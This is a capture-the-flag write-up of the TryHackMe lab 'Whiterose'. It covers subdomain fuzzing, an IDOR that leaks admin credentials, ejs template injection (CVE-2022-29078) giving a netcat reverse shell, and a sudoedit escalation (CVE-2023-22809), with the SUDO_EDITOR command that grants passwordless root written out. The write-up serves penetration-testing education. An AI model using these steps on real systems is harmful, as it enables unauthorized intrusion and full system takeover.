TryHackMe: Whiterose
Whiterose is a easy-rated TryHackMe machine where we first start by discovering a subdomain, using provided credentials we were able to log in into the web application, discovering an IDOR vulnerable endpoint granted us an administrator credentials from there we leveraged a vulnerable JavaScript templating engine, ejs, to SSTI (Server Side Template Injection) to gain initial foothold into the machine, once in, we discovered a sudo permission that allowed us to escalate privileges and gain root access.
Enumeration
Nmap Scan
Starting with nmap as always on 10.10.107.216
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/whiterose]
└─$ nmap -sC -sV 10.10.107.216 -T4 -oN nmap.out
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-01 18:25 CET
Warning: 10.10.107.216 giving up on port because retransmission cap hit (6).
Nmap scan report for 10.10.107.216
Host is up (0.10s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 b9:07:96:0d:c4:b6:0c:d6:22:1a:e4:6c:8e:ac:6f:7d (RSA)
| 256 ba:ff:92:3e:0f:03:7e:da:30:ca:e3:52:8d:47:d9:6c (ECDSA)
|_ 256 5d:e4:14:39:ca:06:17:47:93:53:86:de:2b:77:09:7d (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 35.43 seconds
Looking at the results we have 2 ports open
- 22/SSH OpenSSH - open
- 80/HTTP Nginx 1.40.0 - open
Web Server - 80
Taking a look at http://10.10.107.216/
we get redirected to http://cyprusbank.thm/
, adding that to our /etc/hosts
.
1
2
3
4
5
6
7
8
127.0.0.1 localhost
127.0.1.1 voldemort
10.10.107.216 cyprusbank.thm
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
Going to http://cyprusbank.thm/
we get a web site that is, from what it seems, under maintenance.
As we have a domain name, which is a bit odd for tryhackme rooms, we decided to enumerate subdomains using ffuf
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/whiterose]
└─$ ffuf -u http://cyprusbank.thm/ -w /usr/share/wordlists/amass/subdomains-top1mil-5000.txt -H "Host: FUZZ.cyprusbank.thm" -fs 57
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://cyprusbank.thm/
:: Wordlist : FUZZ: /usr/share/wordlists/amass/subdomains-top1mil-5000.txt
:: Header : Host: FUZZ.cyprusbank.thm
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 57
________________________________________________
www [Status: 200, Size: 252, Words: 19, Lines: 9, Duration: 507ms]
admin [Status: 302, Size: 28, Words: 4, Lines: 1, Duration: 589ms]
WWW [Status: 200, Size: 252, Words: 19, Lines: 9, Duration: 118ms]
:: Progress: [5000/5000] :: Job [1/1] :: 246 req/sec :: Duration: [0:00:25] :: Errors: 0 ::
Letting ffuf
run for a while will get us some subdomains, www
and admin
adding that to our /etc/hosts
.
1
2
3
4
5
6
7
8
127.0.0.1 localhost
127.0.1.1 voldemort
10.10.107.216 cyprusbank.thm www.cyprusbank.thm admin.cyprusbank.thm
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
Looking at http://admin.cyprusbank.thm
we get a login form.
With the credentials we were given in the room task, Olivia Cortez:olivi8
, we tried logging in and we succeded!
Exploitation
Retrieving Phone Number
Once logged in, we saw that the phone numbers were hidden and cannot be viewed so we started looking for a way and enumerate the web app. Trying the links in the nav bar we got something interesting, visiting Messages
will get us a chat where we can see old messages, taking a closer look at the url, http://admin.cyprusbank.thm/messages/?c=5
, we see a GET parameter being passed which might be vulnerable to an IDOR.
Changing the value of the c
parameter to 0
, (http://admin.cyprusbank.thm/messages/?c=0
), will get us some older messages.
From the messages, we can see that Gayle Bev
is an administrator and we got his password. Trying logging in as Gayle we got in and we were able to retrieve Tyrell Wellick
’s phone number.
Initial Foothold - Web
As user Olivia
we were not able to access the Settings
endpoint but now we can, as Gayle
, which mean that this is the right way to go.
So apparently we are given a way to change customers password which isn’t very helpful, catching the request using Burpsuite
and trying to manipulate the request being sent after a password change we got something.
Removing the password parameter did catch an error for us, a ReferenceError
which led to a leak of a portion of the source code, next thing we tried was a parameter fuzzing and we got a few of them.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/whiterose]
└─$ ffuf -request req2.ffuf -request-proto http -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -fs 1561
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : http://admin.cyprusbank.thm/settings
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
:: Header : User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
:: Header : Accept-Encoding: gzip, deflate, br
:: Header : Origin: http://admin.cyprusbank.thm
:: Header : Referer: http://admin.cyprusbank.thm/settings
:: Header : Host: admin.cyprusbank.thm
:: Header : Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
:: Header : Accept-Language: en-US,en;q=0.5
:: Header : Connection: keep-alive
:: Header : Content-Type: application/x-www-form-urlencoded
:: Header : Cookie: connect.sid=s%3Ao4Gp1-6xiW42LbiT9RXXXoQW58gVeHYx.caVJHp3wrSD8STuac16wJoQRlvgkklrkBRQX9gnI5UI
:: Header : Upgrade-Insecure-Requests: 1
:: Data : name=test&FUZZ=test
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 1561
________________________________________________
client [Status: 500, Size: 1399, Words: 80, Lines: 11, Duration: 153ms]
delimiter [Status: 200, Size: 1445, Words: 327, Lines: 35, Duration: 144ms]
error [Status: 200, Size: 1566, Words: 298, Lines: 51, Duration: 79ms]
include [Status: 500, Size: 1388, Words: 80, Lines: 11, Duration: 104ms]
message [Status: 200, Size: 1566, Words: 298, Lines: 51, Duration: 95ms]
password [Status: 200, Size: 1566, Words: 298, Lines: 51, Duration: 325ms]
strict [Status: 500, Size: 2301, Words: 161, Lines: 11, Duration: 105ms]
:: Progress: [6453/6453] :: Job [1/1] :: 254 req/sec :: Duration: [0:00:25] :: Errors: 0 ::
Using another wordlist leaked another parameter, async
.
The source code of the page didn’t help much so we looked into the errors we’re getting and we figured out that the web app is utilizing ejs
as a templating engine. The use of ejs
in this application, combined with certain configuration details, suggests a possible Server-Side Template Injection (SSTI) vulnerability. When parameters from the request body are passed to the render function without strict control, ejs
options like client
and async
can potentially be manipulated. Testing reveals that setting client
triggers an error, while async
produces an empty object {}
, hinting that these options may indeed be accessible.
To further verify, the delimiter
option can be adjusted to an uncommon character to check for unintended template exposure. Successfully changing this delimiter confirms that template data can be leaked, solidifying the SSTI suspicion.
Normally, ejs
restricts the options that can accompany the data argument. However, with the CVE-2022-29078 vulnerability, it’s possible to bypass these restrictions by injecting options through settings['view options']
. This allows unrestricted access to certain ejs
options, such as outputFunctionName, enabling code injection directly into the template structure.
Exploiting the vulnerability will lead to a reverse shell and initial access into the machine.
Setting a netcat listener will catch the reverse shell for us!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/whiterose]
└─$ nc -lnvp 9001
listening on [any] 9001 ...
connect to [10.9.4.167] from (UNKNOWN) [10.10.107.216] 41764
ls
components
index.js
node_modules
package-lock.json
package.json
routes
static
views
python3 -c "import pty;pty.spawn('/bin/bash')"
web@cyprusbank:~/app$ export TERM=xterm
export TERM=xterm
web@cyprusbank:~/app$ ^Z
zsh: suspended nc -lnvp 9001
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/whiterose]
└─$ stty -a
speed 38400 baud; rows 30; columns 116; line = 0;
intr = ^C; quit = ^\; erase = ^?; kill = ^U; eof = ^D; eol = <undef>; eol2 = <undef>; swtch = <undef>; start = ^Q;
stop = ^S; susp = ^Z; rprnt = ^R; werase = ^W; lnext = ^V; discard = ^O; min = 1; time = 0;
-parenb -parodd -cmspar cs8 -hupcl -cstopb cread -clocal -crtscts
-ignbrk -brkint -ignpar -parmrk -inpck -istrip -inlcr -igncr icrnl ixon -ixoff -iuclc -ixany -imaxbel iutf8
opost -olcuc -ocrnl onlcr -onocr -onlret -ofill -ofdel nl0 cr0 tab0 bs0 vt0 ff0
isig icanon iexten echo echoe echok -echonl -noflsh -xcase -tostop -echoprt echoctl echoke -flusho -extproc
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/whiterose]
└─$ stty raw -echo; fg
[1] + continued nc -lnvp 9001
web@cyprusbank:~/app$ stty rows 30 cols 116
web@cyprusbank:~/app$ cd ..
web@cyprusbank:~$ ls
app user.txt
web@cyprusbank:~$
Privilege Escalation - Root
Once in, we start looking for any priv esc vectors and we found one in the sudo permissions.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
web@cyprusbank:~$ sudo -l
Matching Defaults entries for web on cyprusbank:
env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR XFILESEARCHPATH
XUSERFILESEARCHPATH", secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
mail_badpass
User web may run the following commands on cyprusbank:
(root) NOPASSWD: sudoedit /etc/nginx/sites-available/admin.cyprusbank.thm
web@cyprusbank:~$ sudo --version
Sudo version 1.9.12p1
Sudoers policy plugin version 1.9.12p1
Sudoers file grammar version 48
Sudoers I/O plugin version 1.9.12p1
Sudoers audit plugin version 1.9.12p1
web@cyprusbank:~$
Seeing sudoedit
and a sudo
version of 1.9.12p1
was enough to say that this is the way as that version is vulnerable to CVE-2023-22809
. Looking through the internet we found this interesting blog post.
Basically, the sudoedit
command allows users to specify their preferred text editor through environment variables like SUDO_EDITOR
, EDITOR
, or VISUAL
. These variables can include not only the editor’s name but also additional arguments to control its behavior. To safely parse these values, sudo uses a --
delimiter, which helps separate editor commands and arguments from the file paths specified for editing.
By leveraging this --
delimiter in the editor environment variable, it’s possible to trick sudoedit into opening files outside the intended permissions since sudoedit runs with root privileges.
Taking advantage of that, we started by setting the SUDO_EDITOR
environment variable to nano -- /etc/sudoers
and then we executed the command and got access to /etc/sudoers
1
2
web@cyprusbank:~$ export SUDO_EDITOR='nano -- /etc/sudoers'
web@cyprusbank:~$ sudoedit /etc/nginx/sites-available/admin.cyprusbank.thm
Once executed, we get the /etc/sudoers
file in edit mode.
1
2
3
4
5
6
7
8
9
10
##
## User privilege specification
##
root ALL=(ALL:ALL) ALL
web ALL=(ALL:ALL) NOPASSWD: ALL
## Uncomment to allow members of group wheel to execute any command
# %wheel ALL=(ALL:ALL) ALL
## Same thing without a password
# %wheel ALL=(ALL:ALL) NOPASSWD: ALL
Saving the file and taking a look again at our sudo permission we can see that we can execute any command using sudo
without needing a password.
1
2
3
4
5
6
7
8
9
web@cyprusbank:~$ sudo -l
Matching Defaults entries for web on cyprusbank:
env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR XFILESEARCHPATH
XUSERFILESEARCHPATH", secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
mail_badpass
User web may run the following commands on cyprusbank:
(ALL : ALL) NOPASSWD: ALL
(root) NOPASSWD: sudoedit /etc/nginx/sites-available/admin.cyprusbank.thm
Switching to root using sudo su
will get us a root shell and the root flag!
1
2
3
4
5
web@cyprusbank:~$ sudo su
root@cyprusbank:/home/web# cd /root
root@cyprusbank:~# ls
clean.sh root.txt
root@cyprusbank:~#
And voila! we successfully rooted the room!